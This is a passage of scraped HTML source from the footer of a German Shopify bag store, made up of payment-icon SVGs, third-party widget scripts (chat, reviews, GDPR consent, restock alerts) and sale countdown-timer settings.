12803                <svg viewBox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" width="38" height="24" role="img" aria-labelledby="pi-paypal"><title id="pi-paypal">PayPal</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path fill="#003087" d="M23.9 8.3c.2-1 0-1.7-.6-2.3-.6-.7-1.7-1-3.1-1h-4.1c-.3 0-.5.2-.6.5L14 15.6c0 .2.1.4.3.4H17l.4-3.4 1.8-2.2 4.7-2.1z"/><path fill="#3086C8" d="M23.9 8.3l-.2.2c-.5 2.8-2.2 3.8-4.6 3.8H18c-.3 0-.5.2-.6.5l-.6 3.9-.2 1c0 .2.1.4.3.4H19c.3 0 .5-.2.5-.4v-.1l.4-2.4v-.1c0-.2.3-.4.5-.4h.3c2.1 0 3.7-.8 4.1-3.2.2-1 .1-1.8-.4-2.4-.1-.5-.3-.7-.5-.8z"/><path fill="#012169" d="M23.3 8.1c-.1-.1-.2-.1-.3-.1-.1 0-.2 0-.3-.1-.3-.1-.7-.1-1.1-.1h-3c-.1 0-.2 
128030-.2.1-.2.1-.3.2-.3.4l-.7 4.4v.1c0-.3.3-.5.6-.5h1.3c2.5 0 4.1-1 4.6-3.8v-.2c-.1-.1-.3-.2-.5-.2h-.1z"/></svg>
12804              
12805                <svg xmlns="http://www.w3.org/2000/svg" role="img" viewBox="0 0 38 24" width="38" height="24" aria-labelledby="pi-shopify_pay"><title id="pi-shopify_pay">Shop Pay</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z" fill="#000"/><path d="M35.889 0C37.05 0 38 .982 38 2.182v19.636c0 1.2-.95 2.182-2.111 2.182H2.11C.95 24 0 23.018 0 21.818V2.182C0 .982.95 0 2.111 0H35.89z" fill="#5A31F4"/><path d="M9.35 11.368c-1.017-.223-1.47-.31-1.47-.705 0-.372.306-.558.92-.558.54 0 .934.238 1.225.704a.079.079 0 00.104.03l1.146-.584a.082.082 0 00.032-.114c-.475-.831-1.353-1.286-2.51-1.286-1.52 0-2.464.755-2.464 1.956 0 1.275 1.15 1.597 2.17 1.82 1.02.222 1.474.31 1.474.705 0 .396-.332.582-.993.582-.612 0-1.065-.282-1.34-.83a.08.08 0 00-.107-.035l-1.143.57a.083.083 0 00-.036.111c.454.92 1.384 1.437 2.627 1.437 1.583 0 2.539-.742 2.539-1.98s-1.155-1.598-2.173-1.82v-.003zM15.49 8.855c-.65 0-1.224.232-1.636.646a.04.04 0 01-.069-.03v-2.64a.08.08 0 00-.08-.081H12.27a.08.08 0 00-.08.082v8.194a.08.08 0 00.08.082h1.433a.08.08 0 00.081-.082v-3.594c0-.695.528-1.227 1.239-1.227.71 0 1.226.521 1.226 1.227v3.594a.08.08 0 00.081.082h1.433a.08.08 0 00.081-.082v-3.594c0-1.51-.981-2.577-2.355-2.577zM20.753 8.62c-.778 0-1.507.24-2.03.588a.082.082 0 00-.027.109l.632 1.088a.08.08 0 00.11.03 2.5 2.5 0 011.318-.366c1.25 0 2.17.891 2.17 2.068 0 1.003-.736 1.745-1.669 1.745-.76 0-1.288-.446-1.288-1.077 0-.361.152-.657.548-.866a.08.08 0 00.032-.113l-.596-1.018a.08.08 0 00-.098-.035c-.799.299-1.359 1.018-1.359 1.984 0 1.46 1.152 2.55 2.76 2.55 1.877 0 3.227-1.313 3.227-3.195 0-2.018-1.57-3.492-3.73-3.492zM28.675 8.843c-.724 0-1.373.27-1.845.746-.026.027-.069.007-.069-.029v-.572a.08.08 0 00-.08-.082h-1.397a.08.08 0 00-.08.082v8.182a.08.08 0 00.08.081h1.433a.08.08 0 00.081-.081v-2.683c0-.036.043-.054.069-.03a2.6 2.6 0 001.808.7c1.682 0 2.993-1.373 2.993-3.157s-1.313-3.157-2.993-3.157zm-.271 4.929c-.956 0-1.681-.768-1.681-1.783s.723-1.783 1.681-1.783c.958 0 1.68.755 1.68 1.783 0 1.027-.713 1.783-1.681 1.783h.001z" fill="#fff"/></svg>
12806
12807              
12808                <svg viewBox="-36 25 38 24" xmlns="http://www.w3.org/2000/svg" width="38" height="24" role="img" aria-labelledby="pi-unionpay"><title id="pi-unionpay">Union Pay</title><path fill="#005B9A" d="M-36 46.8v.7-.7zM-18.3 25v24h-7.2c-1.3 0-2.1-1-1.8-2.3l4.4-19.4c.3-1.3 1.9-2.3 3.2-2.3h1.4zm12.6 0c-1.3 0-2.9 1-3.2 2.3l-4.5 19.4c-.3 1.3.5 2.3 1.8 2.3h-4.9V25h10.8z"/><path fill="#E9292D" d="M-19.7 25c-1.3 0-2.9 1.1-3.2 2.3l-4.4 19.4c-.3 1.3.5 2.3 1.8 2.3h-8.9c-.8 0-1.5-.6-1.5-1.4v-21c0-.8.7-1.6 1.5-1.6h14.7z"/><path fill="#0E73B9" d="M-5.7 25c-1.3 0-2.9 1.1-3.2 2.3l-4.4 19.4c-.3 1.3.5 2.3 1.8 2.3H-26h.5c-1.3 0-2.1-1-1.8-2.3l4.4-19.4c.3-1.3 1.9-2.3 3.2-2.3h14z"/><path fill="#059DA4" d="M2 26.6v21c0 .8-.6 1.4-1.5 1.4h-12.1c-1.3 0-2.1-1.1-1.8-2.3l4.5-19.4C-8.6 26-7 25-5.7 25H.5c.9 0 1.5.7 1.5 1.6z"/><path fill="#fff" d="M-21.122 38.645h.14c.14 0 .28-.07.28-.14l.42-.63h1.19l-.21.35h1.4l-.21.63h-1.68c-.21.28-.42.42-.7.42h-.84l.21-.63m-.21.91h3.01l-.21.7h-1.19l-.21.7h1.19l-.21.7h-1.19l-.28 1.05c-.07.14 0 .28.28.21h.98l-.21.7h-1.89c-.35 0-.49-.21-.35-.63l.35-1.33h-.77l.21-.7h.77l.21-.7h-.7l.21-.7zm4.83-1.75v.42s.56-.42 1.12-.42h1.96l-.77 2.66c-.07.28-.35.49-.77.49h-2.24l-.49 1.89c0 .07 0 .14.14.14h.42l-.14.56h-1.12c-.42 0-.56-.14-.49-.35l1.47-5.39h.91zm1.68.77h-1.75l-.21.7s.28-.21.77-.21h1.05l.14-.49zm-.63 1.68c.14 0 .21 0 .21-.14l.14-.35h-1.75l-.14.56 1.54-.07zm-1.19.84h.98v.42h.28c.14 0 .21-.07.21-.14l.07-.28h.84l-.14.49c-.07.35-.35.49-.77.56h-.56v.77c0 .14.07.21.35.21h.49l-.14.56h-1.19c-.35 0-.49-.14-.49-.49l.07-2.1zm4.2-2.45l.21-.84h1.19l-.07.28s.56-.28 1.05-.28h1.47l-.21.84h-.21l-1.12 3.85h.21l-.21.77h-.21l-.07.35h-1.19l.07-.35h-2.17l.21-.77h.21l1.12-3.85h-.28m1.26 0l-.28 1.05s.49-.21.91-.28c.07-.35.21-.77.21-.77h-.84zm-.49 1.54l-.28 1.12s.56-.28.98-.28c.14-.42.21-.77.21-.77l-.91-.07zm.21 2.31l.21-.77h-.84l-.21.77h.84zm2.87-4.69h1.12l.07.42c0 .07.07.14.21.14h.21l-.21.7h-.77c-.28 0-.49-.07-.49-.35l-.14-.91zm-.35 1.47h3.57l-.21.77h-1.19l-.21.7h1.12l-.21.77h-1.26l-.28.42h.63l.14.84c0 .07.07.14.21.14h.21l-.21.7h-.7c-.35 0-.56-.07-.56-.35l-.14-.77-.56.84c-.14.21-.35.35-.63.35h-1.05l.21-.7h.35c.14 0 .21-.07.35-.21l.84-1.26h-1.05l.21-.77h1.19l.21-.7h-1.19l.21-.77zm-19.74-5.04c-.14.7-.42 1.19-.91 1.54-.49.35-1.12.56-1.89.56-.7 0-1.26-.21-1.54-.56-.21-.28-.35-.56-.35-.98 0-.14 0-.35.07-.56l.84-3.92h1.19l-.77 3.92v.28c0 .21.07.35.14.49.14.21.35.28.7.28s.7-.07.91-.28c.21-.21.42-.42.49-.77l.77-3.92h1.19l-.84 3.92m1.12-1.54h.84l-.07.49.14-.14c.28-.28.63-.42 1.05-.42.35 0 .63.14.77.35.14.21.21.49.14.91l-.49 2.38h-.91l.42-2.17c.07-.28.07-.49 0-.56-.07-.14-.21-.14-.35-.14-.21 0-.42.07-.56.21-.14.14-.28.35-.28.63l-.42 2.03h-.91l.63-3.57m9.8 0h.84l-.07.49.14-.14c.28-.28.63-.42 1.05-.42.35 0 .63.14.77.35s.21.49.14.91l-.49 2.38h-.91l.42-2.24c.07-.21 0-.42-.07-.49-.07-.14-.21-.14-.35-.14-.21 0-.42.07-.56.21-.14.14-.28.35-.28.63l-.42 2.03h-.91l.7-3.57m-5.81 0h.98l-.77 3.5h-.98l.77-3.5m.35-1.33h.98l-.21.84h-.98l.21-.84zm1.4 4.55c-.21-.21-.35-.56-.35-.98v-.21c0-.07 0-.21.07-.28.14-.56.35-1.05.7-1.33.35-.35.84-.49 1.33-.49.42 0 .77.14 1.05.35.21.21.35.56.35.98v.21c0 .07 0 .21-.07.28-.14.56-.35.98-.7 1.33-.35.35-.84.49-1.33.49-.35 0-.7-.14-1.05-.35m1.89-.7c.14-.21.28-.49.35-.84v-.35c0-.21-.07-.35-.14-.49a.
12808635.635 0 0 0-.49-.21c-.28 0-.49.07-.63.28-.14.21-.28.49-.35.84v.28c0 .21.07.35.14.49.14.14.28.21.49.21.28.07.42 0 .63-.21m6.51-4.69h2.52c.49 0 .84.14 1.12.35.28.21.35.56.35.91v.28c0 .07 0 .21-.07.28-.07.49-.35.98-.7 1.26-.42.35-.84.49-1.4.49h-1.4l-.42 2.03h-1.19l1.19-5.6m.56 2.59h1.12c.28 0 .49-.07.7-.21.14-.14.28-.35.35-.63v-.28c0-.21-.07-.35-.21-.42-.14-.07-.35-.14-.7-.14h-.91l-.35 1.68zm8.68 3.71c-.35.77-.7 1.26-.91 1.47-.21.21-.63.7-1.61.7l.07-.63c.84-.28 1.26-1.4 1.54-1.96l-.28-3.78h1.19l.07 2.38.91-2.31h1.05l-2.03 4.13m-2.94-3.85l-.42.28c-.42-.35-.84-.56-1.54-.21-.98.49-1.89 4.13.91 2.94l.14.21h1.12l.7-3.29-.91.07m-.56 1.82c-.21.56-.56.84-.91.77-.28-.14-.35-.63-.21-1.19.21-.56.56-.84.91-.77.28.14.35.63.21 1.19"/></svg>
12809              
12810                <svg xmlns="http://www.w3.org/2000/svg" role="img" viewBox="0 0 38 24" width="38" height="24" fill="none" aria-labelledby="pi-visa"><title id="pi-visa">Visa</title><rect x=".5" y=".5" width="37" height="23" rx="2.5" stroke="#000" stroke-opacity=".07" fill="none"/><path d="M35 0H3C1.3 0 0 1.3 0 3V21C0 22.7 1.4 24 3 24H35C36.7 24 38 22.7 38 21V3C38 1.3 36.6 0 35 0Z" fill="#142FBD" style="fill:#142FBD;fill:color(display-p3 0.0784 0.1843 0.7412);fill-opacity:1;"/><path d="M35 1C36.1 1 37 1.9 37 3V21C37 22.1 36.1 23 35 23H3C1.9 23 1 22.1 1 21V3C1 1.9 1.9 1 3 1H35Z" fill="#1532CB" style="fill:#1532CB;fill:color(display-p3 0.0824 0.1961 0.7961);fill-opacity:1;"/><path d="M29.5944 10.2167H29.2778C28.8556 11.2722 28.5389 11.8 28.2222 13.3833H30.2278C29.9111 11.8 29.9111 11.0611 29.5944 10.2167V10.2167ZM32.6556 16.4444H30.8611C30.7556 16.4444 30.7556 16.4444 30.65 16.3389L30.4389 15.3889L30.3333 15.1778H27.8C27.6944 15.1778 27.5889 15.1778 27.5889 15.3889L27.2722 16.3389C27.2722 16.4444 27.1667 16.4444 27.1667 16.4444H24.95L25.1611 15.9167L28.2222 8.73889C28.2222 8.21111 28.5389 8 29.0667 8H30.65C30.7556 8 30.8611 8 30.8611 8.21111L32.3389 15.0722C32.4444 15.4944 32.55 15.8111 32.55 16.2333C32.6556 16.3389 32.6556 16.3389 32.6556 16.4444V16.4444ZM18.5111 16.1278L18.9333 14.2278C19.0389 14.2278 19.1444 14.3333 19.1444 14.3333C19.8833 14.65 20.6222 14.8611 21.3611 14.7556C21.5722 14.7556 21.8889 14.65 22.1 14.5444C22.6278 14.3333 22.6278 13.8056 22.2056 13.3833C21.9944 13.1722 21.6778 13.0667 21.3611 12.8556C20.9389 12.6444 20.5167 12.4333 20.2 12.1167C18.9333 11.0611 19.3556 9.58333 20.0944 8.84444C20.7278 8.42222 21.0444 8 21.8889 8C23.1556 8 24.5278 8 25.1611 8.21111H25.2667C25.1611 8.84444 25.0556 9.37222 24.8444 10.0056C24.3167 9.79444 23.7889 9.58333 23.2611 9.58333C22.9444 9.58333 22.6278 9.58333 22.3111 9.68889C22.1 9.68889 21.9944 9.79444 21.8889 9.9C21.6778 10.1111 21.6778 10.4278 21.8889 10.6389L22.4167 11.0611C22.8389 11.2722 23.2611 11.4833 23.5778 11.6944C24.1056 12.0111 24.6333 12.5389 24.7389 13.1722C24.95 14.1222 24.6333 14.9667 23.7889 15.6C23.2611 16.0222 23.05 16.2333 22.3111 16.2333C20.8333 16.2333 19.6722 16.3389 18.7222 16.0222C18.6167 16.2333 18.6167 16.2333 18.5111 16.1278V16.1278ZM14.8167 16.4444C14.9222 15.7056 14.9222 15.7056 15.0278 15.3889C15.5556 13.0667 16.0833 10.6389 16.5056 8.31667C16.6111 8.10556 16.6111 8 16.8222 8H18.7222C18.5111 9.26667 18.3 10.2167 17.9833 11.3778C17.6667 12.9611 17.35 14.5444 16.9278 16.1278C16.9278 16.3389 16.8222 16.3389 16.6111 16.3389L14.8167 16.4444ZM5 8.21111C5 8.10556 5.21111 8 5.31667 8H8.90556C9.43333 8 9.85556 8.31667 9.96111 8.84444L10.9111 13.4889C10.9111 13.5944 10.9111 13.5944 11.0167 13.7C11.0167 13.5944 11.1222 13.5944 11.1222 13.5944L13.3389 8.21111C13.2333 8.10556 13.3389 8 13.4444 8H15.6611C15.6611 8.10556 15.6611 8.10556 15.5556 8.21111L12.2833 15.9167C12.1778 16.1278 12.1778 
1281016.2333 12.0722 16.3389C11.9667 16.4444 11.7556 16.3389 11.5444 16.3389H9.96111C9.85556 16.3389 9.75 16.3389 9.75 16.1278L8.06111 9.58333C7.85 9.37222 7.53333 9.05556 7.11111 8.95C6.47778 8.63333 5.31667 8.42222 5.10556 8.42222L5 8.21111Z" fill="white" style="fill:white;fill-opacity:1;"/></svg>
12811
12812              
12813            </div>
12814          </div></div>
12815    </div>
12816  </div>
12817</footer></div>
12817<script src="//essentialbag.com/cdn/shop/t/186/assets/source.js?v=149505721719651277671791342733" type="text/javascript"></script>
12817
12818    
12818<script async data-src="https://loox.io/widget/V1bNVMDjGY/loox.1639054153864.js?shop=eminenter.myshopify.com"></script>
12818
12819
12820    <!-- Start of essentialbaghelp Zendesk Widget script -->
12821    
12821<script
12822      id="ze-snippet"
12823      src="https://static.zdassets.com/ekr/snippet.js?key=13b250a5-4814-4354-b06e-96836e4195b7"
12824    ></script>
12824
12825    <!-- End of essentialbaghelp Zendesk Widget script -->
12826
12827    <!-- Start of manually added Klaviyo ATC Tracking Snippet -->
12828    
12829    <!-- End of manually added Klaviyo ATC Tracking Snippet -->
12830
12831    <!-- Start of manually added Pandectes GDPR Compliance App Code to enable managing cookies -->
12832    
12832<script>
12833      document.addEventListener('DOMContentLoaded', function () {
12834        const pdswc = document.querySelectorAll('[href*="#revokeConsent"]');
12835        for (var i = 0, l = pdswc.length; i < l; i++) {
12836          var el = pdswc[i];
12837          el.onclick = function (e) {
12838            e.preventDefault();
12839            Pandectes.fn.revokeConsent();
12840          };
12841        }
12842      });
12843    </script>
12843
12844    <!-- End of manually added Pandectes GDPR Compliance App Code to enable managing cookies -->
12845
12846    <!-- Start of manually added Voiceflow Code for Chatbot -->
12847    
12847<script type="text/javascript">
12848      (function (d, t) {
12849        var v = d.createElement(t),
12850          s = d.getElementsByTagName(t)[0];
12851        v.onload = function () {
12852          window.voiceflow.chat.load({
12853            verify: { projectID: '67a37d05d104c9cdb6ae9e29' },
12854            url: 'https://general-runtime.voiceflow.com',
12855            versionID: 'production',
12856            voice: {
12857              url: 'https://runtime-api.voiceflow.com',
12858            },
12859          });
12860        };
12861        v.src = 'https://cdn.voiceflow.com/widget-next/bundle.mjs';
12862        v.type = 'text/javascript';
12863        s.parentNode.insertBefore(v, s);
12864      })(document, 'script');
12865    </script>
12865
12866    <!-- End of manually added Voiceflow Code for Chatbot -->
12867
12868    
12868<script>
12869  document.addEventListener("fg-gifts:updated", async () => {
12870    await fetch("/?sections=mini-cart").then(async (rs) => {
12871      const cartContent = FGSECOMAPP.SHOPIFY_CART;
12872      document.documentElement.dispatchEvent(new CustomEvent("cart:updated", {
12873        bubbles: true,
12874        detail: {
12875          cart: cartContent,
12876        }
12877      }));
12878      cartContent["sections"] = await rs.json();
12879      document.documentElement.dispatchEvent(new CustomEvent("cart:refresh", {
12880        bubbles: true,
12881        detail: {
12882          cart: cartContent,
12883          openMiniCart: window.themeVariables.settings.cartType === "drawer"
12884        }
12885      }));
12886    });
12887    setTimeout(() => {
12888      document.documentElement.dispatchEvent(new CustomEvent("cart:refresh"))
12889    }, 500)  
12890  });
12891
12892  document.addEventListener("DOMContentLoaded", async (event) => {
12893    window.bogosCount = 0;
12894    window.bogosCheck = setInterval(() => {
12895      // console.log("BOGOS check", window.bogosCount++)
12896      const el = document.querySelector(".candyrack-ppp-checkbox-layout__offers--list .candyrack-ppp-product-id-10183738196232");
12897      if (!el) return;
12898      if (el) clearInterval(window.bogosCheck);
12899      el.querySelectorAll("a, [data-test-id='candyrack-ppp-checkbox-layout__image']").forEach((item) => {
12900        item.addEventListener("click", (e) => {
12901          e.preventDefault();
12902          window.open("/products/digitaler-budget-planer", window.CANDYRACK_PPP_IS_PRODUCT_REDIRECT_NEW_TAB ? "_blank" : "_self")
12903        })
12904      })
12905    }, 1000);
12906  });
12907
12908</script>
12908
12909
12910    
12910<script>
12911  const observer = new MutationObserver((mutations) => {
12912    mutations.forEach((mutation) => {
12913      if (mutation.type === 'childList') {
12914        mutation.addedNodes.forEach((node) => {
12915          if (
12916            node.nodeType === 1 &&
12917            node.querySelector &&
12918            (node.querySelector('[class*="modal"]') ||
12919              node.querySelector('[id*="popup"]') ||
12920              node.querySelector('[class*="popup"]') ||
12921              node.textContent.includes('DISCOUNT') ||
12922              node.textContent.includes('REDEEM NOW') ||
12923              node.querySelector('font'))
12924          ) {
12925            console.log('Popup đã xuất hiện:', node);
12926            // Xử lý popup
12927            handlePopup(node);
12928          }
12929        });
12930      }
12931    });
12932  });
12933
12934  observer.observe(document.body, {
12935    childList: true,
12936    subtree: true,
12937  });
12938
12939  function handlePopup(popupElement) {
12940    $('.go249761392').find('font').contents().unwrap();
12941    $('.go3647420554').find('font').contents().unwrap();
12942    $('.go3279073480').find('font').contents().unwrap();
12943  }
12944</script>
12944
12945
12946<script>
12947  function addNoTranslate() {
12948    document.querySelectorAll('.heading--large, .split-lines').forEach((el) => {
12949      el.classList.add('notranslate');
12950    });
12951  }
12952
12953  document.addEventListener('DOMContentLoaded', addNoTranslate);
12954
12955  const observer = new MutationObserver(addNoTranslate);
12956  observer.observe(document.body, {
12957    childList: true,
12958    subtree: true,
12959  });
12960</script>
12960
12961
12962  <style> .color-swatch-list {gap: 0px;} .pdp-OrderStats p {margin-top: 0; margin-bottom: 0; font-size: 12.3px;} .button {text-transform: none; --button-height: 60px;} .inventory {font-weight: 500;} .pplr-preview-btn {margin: 00px 0px -20px 0;} .drawer__footer {margin-top: auto; padding-top: 10px; padding-bottom: 5px;} .drawer__header {position: relative; /* Ausgehend davon, dass Sie relative Positionierung meinten */ justify-content: center; /* Zentriert den Inhalt horizontal */ align-items: center; /* Zentriert den Inhalt vertikal */ max-height: 50px;} .product-item__link {font-size: 15px;} .h3 {font-size: 20px;} product-meta {padding-bottom: 0px !important; margin-bottom: 10px !important;} .drawer__header {max-height: 30px;} .mini-cart__recommendations-inner {margin-top: 10px;}  /* Icon-List Styles: kompakte Feature-Liste mit Bild-Icons für Produkt-Highlights */.cfl {padding: 0;} .cf {display: flex; align-items: center; margin: 0 0 3px; font-size: 13px;} .cf:last-child {margin: 0;} .fi {width: 18px; height: 18px; margin-right: 6px;} </style>
12963<div id="shopify-block-AOVc2SVJycmZ3TDFrM__5043070786800498925" class="shopify-block shopify-app-block"><style>
12964  .product-restore-email + .product-restore-email {
12965    display: none !important;
12966  }
12967</style>
12968
12969
12970
12971  
12971<script src="https://cdn.shopify.com/extensions/01a0c7ca-5010-747b-9d99-9a644250288a/ecomsend-restock-108/assets/sealapps_email_config.js" defer="defer"></script>
12971
12972  
12972<script src="https://cdn.shopify.com/extensions/01a0c7ca-5010-747b-9d99-9a644250288a/ecomsend-restock-108/assets/product_restore_email.js" defer="defer"></script>
12972
12973
12974
12975
12976<script id="em_product_variants" type="application/json">
12977  null
12978</script>
vendor: 2 bytes, line 12978
12978
12979<script id="em_product_selected_or_first_available_variant" type="application/json">
12980  null
12981</script>
vendor: 2 bytes, line 12981
12981
12982<script id="bis_shop_id" type="application/json">
12983  46174666912
12984</script>
vendor: 2 bytes, line 12984
12984
12985<script id="ecomsend_bis_product_title" type="application/json">
12986  null
12987</script>
vendor: 2 bytes, line 12987
12987
12988<script id="ecomsend_bis_page_type" type="application/json">
12989  "cart"
12990</script>
12990<script>
12991  
12992</script>
vendor: 2 bytes, line 12992
12992
12993<script>
12994  
12995</script>
vendor: 2 bytes, line 12995
12995
12996<script>
12997  
12998</script>
12998
12999
13000
13001<script>
13002	var bis_popup_settings = {"btn_text":"Anmelden","btn_bg_color":"#000000","btn_text_color":"#FFFFFF","header_text":"Wir informieren dich sofort bei Verfügbarkeit.","verification_failed_text":"* Deine Kontaktinformationen sind ungültig","footer_text":"Wir benachrichtigen dich, wenn dieses Produkt auf Lager ist. ","success_title":"Erfolgreich abonniert","success_content":"Wir senden dir eine E-Mail, wenn dieses Produkt wieder vorrätig ist.","email_address_placeholder":"E-Mail-Adresse","customer_name_placeholder":"Dein Name","subscribed_text":"*Du hast das Produkt bereits abonniert.","opt_in_text":"Füge mich der Liste hinzu","popup_template":1,"email_tab_text":"E-Mail","sms_tab_text":"SMS","sms_default_region":"US","is_branding_removed":1,"lang":"de","terms":"Bedingungen","privacy_policy":"Datenschutzerklärung","protection_text":"Durch das Absenden dieses Abonnements erklären Sie sich mit der {{Privacy_Policy}} und den {{Terms}} von {{Store_Name}} bezüglich der Verarbeitung Ihrer personenbezogenen Daten einverstanden.","display_consent_checkbox":false,"display_privacy_consent":false,"terms_link":"","privacy_policy_link":"","store_name":"ESSENTIALBAG"}
13003	var bis_product_button_settings = {"is_active_inline_btn":0,"inline_btn_margin_top":2,"inline_btn_margin_bottom":20,"inline_btn_text":"E-Mail Nachschub Benachrichtigung","inline_btn_bg_color":"#282828","inline_text_color":"#FFFFFF","is_active_float_btn":0,"float_offset":203,"float_btn_text":"Benachrichtige mich, wenn verfügbar","float_btn_bg_color":"#282828","float_text_color":"#FFFFFF","display_all":0,"border_color":"#FFFFFF","border_radius":7,"hover_animation":0,"font_size":14,"font_family":"Inherit","font_weight":"Inherit","hover_bg_color":"#444444","hover_text_color":"#FFFFFF","horizontal_animation":0,"display_button_oversell":0,"customize_inline_btn_position":0,"insert_type":"afterend","customize_css":"","insert_element_selector":"","lang":"de","continue_sell_notify":0,"bis_segment_enabled":1,"subscribe_scope":1}
13004	var bis_collection_button_settings = {"is_active_inline_btn":0,"inline_btn_margin_top":0,"inline_btn_margin_bottom":0,"inline_btn_text":"","inline_btn_bg_color":"","inline_text_color":"","is_active_float_btn":0,"float_offset":0,"float_btn_text":"","float_btn_bg_color":"","float_text_color":"","display_all":0,"border_color":"","border_radius":0,"hover_animation":0,"font_size":0,"font_family":"","font_weight":"","hover_bg_color":"","hover_text_color":"","horizontal_animation":0,"display_button_oversell":0,"customize_inline_btn_position":0,"insert_type":"","customize_css":"","insert_element_selector":"","lang":"","continue_sell_notify":0,"bis_segment_enabled":0,"subscribe_scope":0}
13005	var bis_integrations = [{"integration_name":"klaviyo","is_enable":1}]
13006	var bis_floating_popup_settings = {"id":0,"component_code":"","is_enabled":0,"position":"","horizontal_spacing":0,"vertical_spacing":0,"display_delay":0,"show_when_continue_selling_out":0,"show_when_all_variants_out_of_stock":0,"popup_font_size":0,"popup_border_radius":0,"button_font_size":0,"button_border_radius":0,"language":"","popup_message_text":"","button_text":"","popup_text_color":"","popup_background_color":"","button_text_color":"","button_background_color":""}
13007</script>
13007
13008
13009
13010<script>
13011    var bis_shopify_block_status = 2;
13012  var customerInfo = null;
13013
13014  window.ChannelWillBIS = {
13015    customerInfo: customerInfo
13016  };
13017</script>
13017
13018
13019
13020</div><div id="shopify-block-AaHpzcm1PUUN4Sjh4V__16706268198842840686" class="shopify-block shopify-app-block">
13020<script>
13021  window.sternify = { active: true };
13022  window.dispatchEvent(new Event('sternify:loaded'));
13023
13024  // Protect Sternify autoplay videos from theme's pauseAllMedia()
13025  (function() {
13026    function playProtectedVideos() {
13027      document.querySelectorAll('.st_wrapper video[autoplay]').forEach(video => {
13028        video.muted = true;
13029        video.play().catch(() => {});
13030      });
13031    }
13032
13033    document.addEventListener('DOMContentLoaded', () => {
13034      setTimeout(playProtectedVideos, 100);
13035    });
13036  })();
13037</script>
13037
13038
13039<script src="https://cdn.shopify.com/extensions/01a121e2-6918-7b3b-a3bc-6a93e088cd01/sternify-1631/assets/stSectionsInit.min.js" defer></script>
13039
13040
13041
13042
13043
13044
13045
13046
13047</div><div id="shopify-block-AWFNNenlBR2N5d2ZuU__12657775114333427046" class="shopify-block shopify-app-block">
13047<script>
13048  
13049    window.essentialCountdownTimerConfigs = [{"id":"cmnasiwvu003fbdfkcxcu9j50","name":"EMBED Event Page Sale","title":"Der größte Prime Deal Days Sale des Jahres endet in","customTitle":"","endDate":"2025-11-24T22:59:00.000Z","startDate":"2025-11-22T23:00:00.000Z","subheading":" ","fixedMinutes":"120","repeat":false,"timerType":"recurring","type":"landing-page","published":true,"timerPlacement":"custom","showOnProducts":[],"showOnCollections":[],"legendCopyDays":"Tagen ","legendCopyHours":"Stunden","legendCopyMins":"Minuten","legendCopySecs":"Sekunden","CTAType":"","CTALink":"https:\/\/eminenter.myshopify.com","closeButton":false,"buttonText":"Shop now!","updatedAt":"2026-10-06T06:42:19.816Z","createdAt":"2026-03-28T20:36:15.804Z","onceItEnds":"hide","style":{"font":"","image":"https:\/\/cache-essential-apps.cc\/image_backgrounds\/dark_pine_branches.jpg","timerSize":"30","titleSize":"18","borderSize":"0","buttonText":"Shop now!","legendSize":"14","timerColor":"#ffffff","titleColor":"#ffffff","borderColor":"#c5c8d1","gradientEnd":"#FFFFFF","legendColor":"#ffffff","singleColor":"#000000","borderRadius":"8","gradientTurn":"90","gradientStart":"#DDDDDD","backgroundType":"singleBackground","buttonFontSize":"14","subheadingSize":"16","buttonFontColor":"#FFFFFF","singleColorRgba":"rgba(0, 0, 0, 1)","subheadingColor":"#ffffff","insideTopSpacing":"15","singleColorAlpha":1,"imageOverlayColor":"#ffffff","outsideTopSpacing":"15","buttonBorderRadius":"4","insideBottomSpacing":"15","outsideBottomSpacing":"15","buttonBackgroundColor":"#202223","imageOverlayColorRgba":"rgba(255, 255, 255, 0.20)","imageOverlayColorAlpha":"0.2"},"recurringDays":[1,2,3,4,5,6,0],"startType":"today","endType":"never","productTags":[],"showInCountries":[],"locationType":"","translations":[{"title":"The biggest Oktoberfest Sale of the Year ends in","locale":"en"}],"showOnProductsInCollections":[],"excludeOnPages":[],"excludeOnSpecificUrls":[],"excludeOnKeywordsInUrl":[],"excludeOnProducts":[],"excludeOnCollections":[],"duration":7200000},{"id":"cmhiclnu500fhduxh0t8deg3e","name":"Sale Reason","title":"Prime Deal Days Sale","customTitle":"","endDate":"2025-11-10T22:59:00.000Z","startDate":"2025-11-03T23:00:00.000Z","subheading":"50% Rabatt + GRATIS PRODUKT","fixedMinutes":"1417","repeat":false,"timerType":"recurring","type":"top-bar","published":true,"timerPlacement":"","showOnProducts":[],"showOnCollections":[],"legendCopyDays":"Tage","legendCopyHours":"Std","legendCopyMins":"Min","legendCopySecs":"Sek","CTAType":"","CTALink":"","closeButton":false,"buttonText":"Shop now!","updatedAt":"2026-10-06T06:42:48.011Z","createdAt":"2025-11-02T23:34:24.921Z","onceItEnds":"hide","style":{"font":"","image":"https:\/\/cache-essential-apps.cc\/image_backgrounds\/dark_pine_branches.jpg","position":"top-page","stickyBar":false,"timerSize":"26","titleSize":"23","borderSize":"0","buttonText":"Shop now!","legendSize":"9","timerColor":"#c6c1c1","titleColor":"#ffffff","borderColor":"#000000","gradientEnd":"#FFFFFF","legendColor":"#c4c4c4","singleColor":"#282828","gradientTurn":"90","gradientStart":"#DDDDDD","backgroundType":"singleBackground","buttonFontSize":"14","closeIconColor":"#d0d0d0","subheadingSize":"14","buttonFontColor":"#FFFFFF","singleColorRgba":"rgba(40, 40, 40, 1)","subheadingColor":"#ffffff","singleColorAlpha":1,"imageOverlayColor":"#ffffff","buttonBorderRadius":"4","announcementBarStyle":"line-centered","buttonBackgroundColor":"#ebc23e","imageOverlayColorRgba":"rgba(255, 255, 255, 0.85)","imageOverlayColorAlpha":"0.85"},"recurringDays":[1,2,3,4,5,6,0],"startType":"today","endType":"never","productTags":[],"showInCountries":[],"locationType":"","translations":[{"title":"Prime Deal Days Sale","locale":"en","subheading":"50% OFF + FREE 